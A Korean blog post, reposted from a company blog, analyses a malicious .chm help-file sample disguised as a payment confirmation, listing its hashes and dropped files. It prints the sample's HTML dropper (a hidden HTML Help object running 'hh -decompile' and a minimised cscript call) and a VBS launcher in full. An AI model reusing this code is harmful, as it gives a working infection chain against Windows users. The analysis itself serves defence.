*.chm 악성코드 분석
Blog/외부 Blog

*.chm 악성코드 분석

※ 본 게시물은 'PLAINBIT' 재직 당시 작성한 블로그 글을 공유하는 것입니다.

원문 참고 : https://blog.plainbit.co.kr/chm-malware-analysis/


1. *.chm Malware?

1-1) 개요

*.chm(Compiled HTML) 파일은 컴파일된 HTML Help 파일로, 윈도우 도움말로 잘 알려져 있다. Microsoft에서 만든 독점 형식이며 *.chm 파일에는 도움말 파일을 검색하고 보는 데 사용되는 HTML 페이지, 이미지 및 목차와 기타 탐색 도구가 포함되어 있다.

도움말 파일은 소프트웨어 응용 프로그램에 대한 온라인 도움말, 교육 가이드, 대화형 책 등에 주로 이용된다. *.chm 파일은 아래 프로그램을 통해 실행된다.

  • hh.exe (microsoft® html help executable program)

*.chm 파일은 스크립트를 포함할 수 있어 악성코드로 사용되는 경우가 빈번하게 발생하고 있다. 그리고 파일을 실행했을 때 악성 파일을 피해 시스템에 생성하는데, 이 과정에서 사용자에게 정상적인 내용을 담은 창을 보여주기 때문에 악성 파일임을 인지하기 어려운 특징이 있다. 파일의 전파 경로는 주로 메일의 첨부파일로 오는 경우가 많다.

실제로 *.chm 파일을 활용한 공격이 최근 다수 발생하고 있어 KISA에서 2024년 4월 2일, 관련 공격에 대해 주의할 것을 공지하기도 했다.

 

KISA 보호나라&KrCERT/CC

KISA 보호나라&KrCERT/CC

www.boho.or.kr

1-2) *.chm 파일 공격 유형

*.chm 파일은 내부에 악성 파일을 포함하고 있는 경우와 그렇지 않은 경우로 구분할 수 있다.

악성 파일을 포함하고 있는 경우

  • 일반적으로 hh.exe 프로그램의 -decompile 옵션을 이용해 *.chm에 포함되어 있는 파일을 피해 시스템에 생성하는 코드가 html 파일에 포함되어 있으며, *.chm 파일을 실행할 때 자동으로 동작한다.

악성 파일을 포함하지 않는 경우

  • 셸 명령어를 통해 원격지에 있는 악성 파일을 피해 시스템으로 가져온다.

위 과정은 아래의 공격 행위로 이어질 수 있다.

  • 스크립트 파일을 이용한 악성 행위 수행
    • 악성 행위를 수행하는 스크립트(vbs, bat 등) 파일을 생성하고 스크립트 실행
  • DLL 하이재킹 기법을 이용한 악성 행위 수행
    • 정상 프로그램과 악성 dll을 생성하고 정상 프로그램을 실행하는 과정에서 악성 dll을 로드
  • 실행 파일을 이용한 악성 행위 수행
    • 악성 행위를 수행하는 실행 파일을 생성하고 실행

[그림 1] 악성 *.chm 파일의 주요 동작 과정

1-3) 분석 샘플 정보

분석 대상 악성코드 샘플은 MalwareBazaar 사이트에 업로드되어 있는 *.chm 악성코드 중 최근에 식별된 파일을 선정했으며, 내부에 악성 스크립트 파일을 포함하고 있다. 해당 파일은 paymentconfirmation.chm 이라는 파일명으로 배포되었다.

  • MD5 : 2548d0e05c47c506cf9fd668dace5497
  • SHA1 : 8ac21a35158ba9ebf80493bdb8cf8eb81386a02b
  • SHA256 : fd47c8418d9f8ed39f2f746042c982ac53a788cace370ae8906aecc8c228deeb

[그림 2] 분석 대상 Sample 정보

2. *.chm 악성코드 샘플 동적 분석

2-1) 악성 chm 실행 모습

[그림 3] 악성 chm 샘플 실행 모습
[그림 4] 악성 chm 샘플 실행 후 C:\Users\Public\Libraries 경로 변화

악성 chm 파일을 실행한 모습은 위와 같다. chm 파일에 포함된 파일들과 명령어가 실행되고 난 뒤, 피해자 시스템의 정보가 포함된 텍스트 파일이 생성되는 것을 알 수 있다.

chm 압축 해제 결과 파일

  • index.html
  • emlmanager.vbs
  • background.png
  • 1295049.bat
  • 2034923.bat
  • 3059602.bat
  • 4959032.bat
  • 5923924.bat
  • 9583423.bat

피해자 시스템 정보 수집 결과 파일

  • desk.txt
  • desk.txt.enc
  • desk.txt.zip
  • down.txt
  • down.txt.enc
  • down.txt.zip
  • sys.txt
  • sys.txt.enc
  • sys.txt.zip
  • tsklt.txt
  • tsklt.enc
  • tsklt.zip

[그림 5] C:\Users\Public\Libraries 경로 파일 삭제 모습

프로그램이 동작하고 나면 생성되었던 파일 중 일부가 삭제되는 것을 확인할 수 있다.

3. *.chm 악성코드 샘플 정적 분석

[그림 6] 악성 chm 샘플 파일 압축 해제 결과

chm 파일은 7z을 이용해서 내부 파일을 확인할 수 있다. 샘플 파일에 포함된 파일을 확인한 결과는 위와 같다.

3-1) index.html

<html lang="en">
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>Payment Confirmation</title>
  </head>
  <body>
    <div style="text-align:center;">
      <img src="background.png">
    </div>
    <div id="content1" style="display:none;"></div>
    <object id=r classid="clsid:52a2aaae-085d-4187-97ea-8c30db990436" width=1 height=1 style="visibility:hidden;">
      <param name="Command" value="ShortCut">
      <param name="Button" value="Bitmap:shortcut">
      <param name="Item1" value=",cmd,/c start /min cscript C:\Users\Public\Libraries\emlmanager.vbs">
      <param name="Item2" value="273,1,1">
    </object>
    <script>
      var a = window.location.href;
      var b = a.lastIndexOf("::");
      var c = a.indexOf(":\\");
      var d = a.substring(c - 1, b);
      var value1 = ' < object id = f classid = "clsid:52a2aaae-085d-4187-97ea-8c30db990436"
      width = 1 height = 1 style = "visibility:hidden;" > < param name = "Command"
      value = "ShortCut" > < param name = "Button"
      value = "Bitmap:shortcut" > < param name = "Item1"
      value = ",hh,-decompile C:\\Users\\Public\\Libraries '+d+'" > < param name = "Item2"
      value = "273,1,1" > < /object>';document.getElementById("content1").innerHTML=value1;f.Click();var s=new Date().getTime();while (true){if (new Date().getTime()-s>2000){break;}}r.Click();
    </script>
  </body>
</html>

chm 파일을 실행하면 위의 index.html 파일을 먼저 실행하게 된다. 납부확인증 그림인 background.png를 화면에 출력하여 사용자로 하여금 정상적인 파일로 인식할 수 있도록 위장한다.

이어서 Windows에 내장된 hh(Microsoft HTML Help Workshop) 도구를 이용해서 C:\\Users\\Public\\Libraries 경로에 chm 파일의 압축을 해제하는 기능을 object id f로 설정하고, f.Click() 함수를 통해 실행한다.

이어서 2초 뒤, cscript를 이용해 emlmanager.vbs를 실행하는 cmd 명령어를 실행하도록 설정한 object id r을 r.Click() 함수를 통해 실행한다.

[그림 7] background.png

3-2) emlmanager.vbs

Set fyhn = GetObject("winmgmts:win32_ProcessStartup")
Set plrn = fyhn.SpawnInstance_
plrn.ShowWindow = 0
uhex = Left(WScript.ScriptFullName, InstrRev(WScript.ScriptFullName, "\") - 1)
Set axju = GetObject("winmgmts:win32_process")
sbbrd = axju.Create(uhex & "\2034923.bat", Null, plrn, pid)
Set axju = Nothing
Set plrn = Nothing
Set fyhn = Nothing

emlmanager.vbs 2034923.bat 파일을 실행하는 기능을 수행한다.


이어지는 내용은 회사 블로그를 참고해주세요^^